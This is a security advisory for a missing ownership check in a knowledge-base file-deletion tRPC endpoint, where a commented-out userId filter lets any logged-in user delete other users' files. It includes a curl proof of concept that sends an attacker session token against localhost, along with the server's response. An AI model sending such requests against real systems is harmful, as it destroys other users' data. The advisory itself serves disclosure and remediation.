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GHSA-j7xp-4mg9-x28r
No affected components available
Summary
knowledgeBase.removeFilesFromKnowledgeBase tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership.
Details
userId filter in the database query is commented out, so it's enabling attackers to delete other users' KB files if they know the knowledge base ID and file ID.
PoC
ATTACKER_TOKEN="xx"
VICTIM_KB="kb_tuLBfskdDN1r"
VICTIM_FILE="file_v5wCNLqSaoPp"
curl -X POST "https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1" -H "Content-Type: application/json" -b "__Secure-better-auth.session_token=$ATTACKER_TOKEN" -d '{"0":{"json":{"knowledgeBaseId":"'"$VICTIM_KB"'","ids":["'"$VICTIM_FILE"'"]}}}'
Response:
{"result":{"data":{"json":{"command":"DELETE","rowCount":1,"oid":null,"rows":[],"fields":[]}}}}
Impact
An attacker can delete files from any user's KB. RAG/AI functionality broken when files removed. It could cause loss of important documents, proprietary data etc.
While the vuln is confirmed, practical exploitation requires knowing target's KB ID and target's file ID. These IDs are random and not easily enumerable. However, IDs may leak through shared links, logs, referrer headers and so on. Missing authorization check is a critical security flaw regardless.
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the integrity of the data.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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